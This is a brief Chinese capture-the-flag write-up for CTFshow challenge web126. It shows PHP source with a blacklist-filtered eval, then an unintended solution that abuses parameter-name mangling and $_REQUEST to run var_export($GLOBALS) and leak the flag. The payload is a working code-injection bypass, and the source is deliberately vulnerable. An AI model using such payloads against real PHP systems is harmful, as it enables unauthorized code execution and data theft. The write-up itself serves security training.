目錄

• 源碼
• 思路
• 題解
• • 非預期
• 總結

---

源碼

<?php/* # -*- coding: utf-8 -*- # @Author: Firebasky # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # # */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){eval("$c".";"); if($fl0g==="flag_give_me"){echo $flag;}} }

---

思路

看了很多大佬的解法,我來一個非預期吧

看起來限制了很多字母,當時$_REQUEST還是可以用的,我們可以用它來參數逃逸

題解

非預期

get: ?0=var_export($GLOBALS); post: CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($_REQUEST[0])

---

總結

水題

總結

以上是生活随笔為你收集整理的CTFshow php特性 web126的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。